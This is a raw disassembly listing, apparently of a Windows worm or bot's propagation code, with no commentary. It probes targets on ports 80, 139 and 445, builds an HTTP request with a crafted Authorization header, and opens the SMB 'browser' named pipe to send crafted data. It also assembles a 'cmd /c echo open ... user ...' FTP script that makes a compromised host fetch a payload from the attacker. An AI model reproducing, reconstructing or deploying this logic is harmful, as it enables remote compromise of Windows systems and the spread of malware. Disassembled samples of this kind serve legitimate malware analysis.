jnz short loc_40D019
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CE40
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D019
cmp [ebp+var_20], 82h
jz short loc_40D01D
loc_40D019: ; CODE XREF: sub_40CFDE+1Bj
; sub_40CFDE+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D01D: ; CODE XREF: sub_40CFDE+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CF04
add esp, 0Ch
leave
retn
sub_40CFDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427690
call sub_41C798
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427688
fstp [esp+10h+var_10]
call sub_41C679
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41C798
inc eax
leave
retn
sub_40D030 endp
; =============== S U B R O U T I N E =======================================
sub_40D07C proc near ; CODE XREF: sub_40D21E+24p
var_40 = qword ptr -40h
mov eax, offset loc_426DF7
call sub_41CC64
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D6B3
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D030
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D0BE
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D62E
loc_40D0BE: ; CODE XREF: sub_40D07C+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D1DB
mov ebx, [ebp+10h]
loc_40D0CD: ; CODE XREF: sub_40D07C+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D0D7
push 3
jmp short loc_40D0E9
; ---------------------------------------------------------------------------
loc_40D0D7: ; CODE XREF: sub_40D07C+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D0E1
push 2
jmp short loc_40D0E9
; ---------------------------------------------------------------------------
loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D0EA
push 1
loc_40D0E9: ; CODE XREF: sub_40D07C+59j
; sub_40D07C+63j
pop ebx
loc_40D0EA: ; CODE XREF: sub_40D07C+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_4276A0
fstp [esp+40h+var_40]
call sub_41C7BF
pop ecx
pop ecx
call sub_41C798
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D129
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D129: ; CODE XREF: sub_40D07C+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D197
add [ebp-18h], eax
loc_40D17B: ; CODE XREF: sub_40D07C+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_432424[eax]
push eax
push 1
call sub_40D4B0
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D17B
loc_40D197: ; CODE XREF: sub_40D07C+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D1B5
push dword ptr [ebp+14h]
call sub_41AFE0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D509
mov [ebp-18h], edi
loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D1CF
sub esi, [ebp-1Ch]
loc_40D1C0: ; CODE XREF: sub_40D07C+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D4B0
dec esi
jnz short loc_40D1C0
loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj
cmp [ebp+10h], edi
ja loc_40D0CD
push 1
pop ebx
loc_40D1DB: ; CODE XREF: sub_40D07C+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D6B3
push dword_427698
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D560
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D6B3
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D07C endp
; =============== S U B R O U T I N E =======================================
sub_40D21E proc near ; CODE XREF: ___:0040D41Bp
mov eax, offset loc_426E14
call sub_41CC64
sub esp, 10h
push ebx
push esi
push edi
push offset dword_43D7D8
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D07C
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41B4D5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D268
xor bl, bl
jmp short loc_40D2AC
; ---------------------------------------------------------------------------
loc_40D268: ; CODE XREF: sub_40D21E+44j
mov ecx, [ebp-18h]
mov eax, offset dword_4276A8
cmp ecx, ebx
jnz short loc_40D276
mov ecx, eax
loc_40D276: ; CODE XREF: sub_40D21E+54j
cmp [ebp+18h], ebx
jz short loc_40D27E
mov eax, [ebp+18h]
loc_40D27E: ; CODE XREF: sub_40D21E+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41B980
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CB674
cmp eax, esi
jz short loc_40D2A3
xor bl, bl
jmp short loc_40D2A5
; ---------------------------------------------------------------------------
loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj
mov bl, 1
loc_40D2A5: ; CODE XREF: sub_40D21E+83j
push edi
call sub_41B0B1
pop ecx
loc_40D2AC: ; CODE XREF: sub_40D21E+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D6B3
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D6B3
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D21E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_4325D0
push eax
call sub_41C310
add esp, 0Ch
mov eax, offset byte_429108
push eax
push eax
movzx eax, word ptr dword_4CB360
push eax
push dword ptr [ebp+8]
call sub_40AC0F
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41B980
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_432468
push eax
call sub_40CADA
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D377
xor eax, eax
jmp loc_40D4A3
; ---------------------------------------------------------------------------
loc_40D377: ; CODE XREF: ___:0040D36Ej
mov [ebp-0Ch], esi
loc_40D37A: ; CODE XREF: ___:0040D47Aj
test esi, esi
jnz loc_40D480
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D468
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB624
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CB664
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB5CC
cmp eax, 0FFFFFFFFh
jz loc_40D45D
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D425
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D6B3
lea eax, [ebp+0Ch]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D6EF
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D21E
add esp, 1Ch
jmp short loc_40D45A
; ---------------------------------------------------------------------------
loc_40D425: ; CODE XREF: ___:0040D3E3j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D43F
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CFDE
jmp short loc_40D457
; ---------------------------------------------------------------------------
loc_40D43F: ; CODE XREF: ___:0040D42Fj
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D45D
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CF04
loc_40D457: ; CODE XREF: ___:0040D43Dj
add esp, 0Ch
loc_40D45A: ; CODE XREF: ___:0040D423j
movzx esi, al
loc_40D45D: ; CODE XREF: ___:0040D3D6j
; ___:0040D449j
push ebx
call dword_4CB6BC
test esi, esi
jnz short loc_40D473
loc_40D468: ; CODE XREF: ___:0040D393j
push 3E8h
call near ptr 2820566h
nop
loc_40D473: ; CODE XREF: ___:0040D466j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D37A
loc_40D480: ; CODE XREF: ___:0040D37Cj
lea ecx, [ebp-8]
call sub_40C8FF
test esi, esi
jz short loc_40D4A1
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431AD0[eax]
lea eax, dword_431AD0[eax]
loc_40D4A1: ; CODE XREF: ___:0040D48Aj
mov eax, esi
loc_40D4A3: ; CODE XREF: ___:0040D372j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DD8
loc_40D4A8: ; CODE XREF: sub_426DD8+3j
; ___:00426DF1j ...
push 1
call sub_40D6B3
retn
; END OF FUNCTION CHUNK FOR sub_426DD8
; =============== S U B R O U T I N E =======================================
sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p
; sub_40D07C+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427698
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D4CA
call sub_42669A
loc_40D4CA: ; CODE XREF: sub_40D4B0+13j
test ebx, ebx
jbe short loc_40D501
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62E
test al, al
jz short loc_40D501
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41B590
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D501: ; CODE XREF: sub_40D4B0+1Cj
; sub_40D4B0+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D4B0 endp
; =============== S U B R O U T I N E =======================================
sub_40D509 proc near ; CODE XREF: sub_40D07C+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427698
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D523
call sub_42669A
loc_40D523: ; CODE XREF: sub_40D509+13j
test ebx, ebx
jbe short loc_40D558
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62E
test al, al
jz short loc_40D558
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D558: ; CODE XREF: sub_40D509+1Cj
; sub_40D509+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D509 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp
; sub_4265B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D578
call sub_426573
loc_40D578: ; CODE XREF: sub_40D560+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D58A
mov esi, [ebp+arg_8]
loc_40D58A: ; CODE XREF: sub_40D560+25j
cmp edi, ebx
jnz short loc_40D5AC
push dword_427698
add esi, ecx
mov ecx, edi
push esi
call sub_40D724
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D724
jmp short loc_40D625
; ---------------------------------------------------------------------------
loc_40D5AC: ; CODE XREF: sub_40D560+2Cj
test esi, esi
jbe short loc_40D5EF
cmp esi, eax
jnz short loc_40D5EF
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5C0
mov eax, offset dword_4276A8
loc_40D5C0: ; CODE XREF: sub_40D560+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D5EF
push 1
mov ecx, edi
call sub_40D6B3
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5DB
mov eax, offset dword_4276A8
loc_40D5DB: ; CODE XREF: sub_40D560+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D625
; ---------------------------------------------------------------------------
loc_40D5EF: ; CODE XREF: sub_40D560+4Ej
; sub_40D560+52j ...
push 1
push esi
mov ecx, edi
call sub_40D62E
test al, al
jz short loc_40D625
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D609
mov eax, offset dword_4276A8
loc_40D609: ; CODE XREF: sub_40D560+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41C310
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D625: ; CODE XREF: sub_40D560+4Aj
; sub_40D560+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D560 endp
; =============== S U B R O U T I N E =======================================
sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp
; sub_40D4B0+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D640
call sub_42669A
loc_40D640: ; CODE XREF: sub_40D62E+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D669
mov al, [ecx-1]
cmp al, dl
jz short loc_40D669
cmp al, 0FFh
jz short loc_40D669
cmp edi, edx
jnz short loc_40D6A4
dec al
push edx
mov [ecx-1], al
loc_40D65E: ; CODE XREF: sub_40D62E+47j
mov ecx, esi
call sub_40D6B3
loc_40D665: ; CODE XREF: sub_40D62E+4Bj
; sub_40D62E+52j
xor al, al
jmp short loc_40D6AE
; ---------------------------------------------------------------------------
loc_40D669: ; CODE XREF: sub_40D62E+19j
; sub_40D62E+20j ...
cmp edi, edx
jnz short loc_40D682
cmp [esp+8+arg_4], dl
jz short loc_40D677
push 1
jmp short loc_40D65E
; ---------------------------------------------------------------------------
loc_40D677: ; CODE XREF: sub_40D62E+43j
cmp ecx, edx
jz short loc_40D665
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D665
; ---------------------------------------------------------------------------
loc_40D682: ; CODE XREF: sub_40D62E+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D69F
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D694
cmp eax, edi
jnb short loc_40D6AC
loc_40D694: ; CODE XREF: sub_40D62E+60j
push 1
mov ecx, esi
call sub_40D6B3
jmp short loc_40D6A4
; ---------------------------------------------------------------------------
loc_40D69F: ; CODE XREF: sub_40D62E+58j
cmp [esi+0Ch], edi
jnb short loc_40D6AC
loc_40D6A4: ; CODE XREF: sub_40D62E+28j
; sub_40D62E+6Fj
push edi
mov ecx, esi
call sub_40D78B
loc_40D6AC: ; CODE XREF: sub_40D62E+64j
; sub_40D62E+74j
mov al, 1
loc_40D6AE: ; CODE XREF: sub_40D62E+39j
pop edi
pop esi
retn 8
sub_40D62E endp
; =============== S U B R O U T I N E =======================================
sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp
; sub_40D07C+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D6DF
mov eax, [esi+4]
test eax, eax
jz short loc_40D6DF
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D6D8
cmp al, 0FFh
jz short loc_40D6D8
dec al
mov [ecx], al
jmp short loc_40D6DF
; ---------------------------------------------------------------------------
loc_40D6D8: ; CODE XREF: sub_40D6B3+19j
; sub_40D6B3+1Dj
push ecx
call sub_41CC83
pop ecx
loc_40D6DF: ; CODE XREF: sub_40D6B3+8j
; sub_40D6B3+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D6B3 endp
; =============== S U B R O U T I N E =======================================
sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp
; sub_40D848+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D62E
test al, al
jz short loc_40D71D
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D71D: ; CODE XREF: sub_40D6EF+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D6EF endp
; =============== S U B R O U T I N E =======================================
sub_40D724 proc near ; CODE XREF: sub_40D560+39p
; sub_40D560+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D737
call sub_426573
loc_40D737: ; CODE XREF: sub_40D724+Cj
mov ecx, edi
call sub_40D848
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D74D
mov ebx, eax
loc_40D74D: ; CODE XREF: sub_40D724+25j
test ebx, ebx
jbe short loc_40D783
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41CC90
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D62E
test al, al
jz short loc_40D783
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D783: ; CODE XREF: sub_40D724+2Bj
; sub_40D724+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D724 endp
; =============== S U B R O U T I N E =======================================
sub_40D78B proc near ; CODE XREF: sub_40D62E+79p
mov eax, offset loc_426E20
call sub_41CC64
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40D7B1
mov edi, [ebp+8]
loc_40D7B1: ; CODE XREF: sub_40D78B+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40D7BE
xor eax, eax
loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj
push eax
call sub_41CFC5
pop ecx
mov [ebp+8], eax
jmp short loc_40D7EF
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40D7D9
xor eax, eax
loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj
push eax
call sub_41CFC5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40D7E9
retn
; ---------------------------------------------------------------------------
loc_40D7E9: ; DATA XREF: sub_40D78B+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40D80D
cmp eax, edi
jbe short loc_40D7FC
mov eax, edi
loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41C310
add esp, 0Ch
loc_40D80D: ; CODE XREF: sub_40D78B+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D6B3
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D82D
mov edi, ebx
loc_40D82D: ; CODE XREF: sub_40D78B+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D78B endp
; =============== S U B R O U T I N E =======================================
sub_40D848 proc near ; CODE XREF: sub_40D724+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40D875
mov al, [esi-1]
test al, al
jz short loc_40D875
cmp al, 0FFh
jz short loc_40D875
push 1
call sub_40D6B3
push esi
call sub_41AFE0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D6EF
loc_40D875: ; CODE XREF: sub_40D848+9j
; sub_40D848+10j ...
pop edi
pop esi
retn
sub_40D848 endp
; =============== S U B R O U T I N E =======================================
sub_40D878 proc near ; DATA XREF: ___:00429008o
test byte_4DBC44, 1
jnz short loc_40D888
or byte_4DBC44, 1
loc_40D888: ; CODE XREF: sub_40D878+7j
jmp $+5
push offset nullsub_1
call sub_41D040
pop ecx
retn
sub_40D878 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D89A proc near ; DATA XREF: ___:0042900Co
jmp $+5
sub_40D89A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D89F proc near
mov eax, dword_432888
add eax, 6
mov dword_4CE344, eax
retn
sub_40D89F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p
; ___:0040DE0Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40D8C1
or [ebp+arg_7], 1
jmp short loc_40D8C5
; ---------------------------------------------------------------------------
loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj
and [ebp+arg_7], 0FEh
loc_40D8C5: ; CODE XREF: sub_40D8AD+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40D8E9
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40D8FB
; ---------------------------------------------------------------------------
loc_40D8E9: ; CODE XREF: sub_40D8AD+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41B4D5
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40D994
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
nop
call near ptr 28A0000h
test eax, eax
jz short loc_40D98B
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40D98B
push [ebp+arg_20]
call sub_41B0B1
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40D987
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40D8AD
add esp, 2Ch
jmp short loc_40D996
; ---------------------------------------------------------------------------
loc_40D987: ; CODE XREF: sub_40D8AD+B3j
mov al, 1
jmp short loc_40D996
; ---------------------------------------------------------------------------
loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj
; sub_40D8AD+A4j
push [ebp+arg_20]
call sub_41B0B1
pop ecx
loc_40D994: ; CODE XREF: sub_40D8AD+61j
xor al, al
loc_40D996: ; CODE XREF: sub_40D8AD+D8j
; sub_40D8AD+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40D8AD endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ▀
db 0ECh ; Л
db 0B8h ; ╦
db 0DCh ; э
db 60h ; `
db 0
db 0
db 0E8h ; Х
db 78h ; x
db 0E1h ; А
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 68h ; h
db 80h ; ─
db 0DBh ; ш
db 42h ; B
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; Х
db 0A8h ; ╗
db 0F7h ; В
db 0
db 0
db 59h ; Y
db 33h ; 3
db 0DBh ; ш
db 85h ; ┘
db 0C0h ; ю
db 59h ; Y
db 74h ; t
db 4Eh ; N
db 0FFh
db 75h ; u
db 8
db 0BEh ; ╬
db 0
db 20h
db 0
db 0
db 8Dh ; █
db 85h ; ┘
db 24h ; $
db 0DFh ; ъ
db 0FFh
db 0FFh
db 68h ; h
db 4
db 29h ; )
db 43h ; C
db 0
db 56h ; V
db 50h ; P
db 0E8h ; Х
db 0A6h ; ╕
db 0DFh ; ъ
db 0
db 0
db 6Ah ; j
db 20h
db 8Dh ; █
db 85h ; ┘
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 53h ; S
db 50h ; P
db 0E8h ; Х
db 0A7h ; ╖
db 0DBh ; ш
db 0
db 0
db 8Dh ; █
db 85h ; ┘
db 24h ; $
db 0DFh ; ъ
db 0FFh
db 0FFh
db 83h ; ┐
db 0C4h ; д
db 1Ch
db 89h ; ┴
db 85h ; ┘
db 38h ; 8
db 0FFh
db 0FFh
db 0FFh
db 0B8h ; ╦
db 0D8h ; ь
db 0D7h ; в
db 43h ; C
db 0
db 53h ; S
db 50h ; P
db 50h ; P
db 8Dh ; █
db 85h ; ┘
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 50h ; P
db 0E8h ; Х
db 44h ; D
db 8Dh ; █
db 1
db 0
; ---------------------------------------------------------------------------
jmp short loc_40DA13
; ---------------------------------------------------------------------------
db 0BEh ; ╬
db 0
db 20h
db 0
db 0
; ---------------------------------------------------------------------------
loc_40DA13: ; CODE XREF: ___:0040DA0Cj
push dword ptr [ebp+8]
lea eax, [ebp-40DCh]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-40DCh]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
nop
call near ptr 28B0703h
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DA57
loc_40DA50: ; CODE XREF: ___:0040DB2Fj
; ___:0040DD05j ...
xor al, al
jmp loc_40DE9B
; ---------------------------------------------------------------------------
loc_40DA57: ; CODE XREF: ___:0040DA4Ej
push 48h
lea eax, [ebp-0B8h]
push ebx
push eax
call sub_41B590
push 10h
mov byte ptr [ebp-0B8h], 5
pop eax
mov [ebp-0B7h], bl
push 1
mov [ebp-0B4h], eax
pop edi
mov byte ptr [ebp-0B6h], 0Bh
push eax
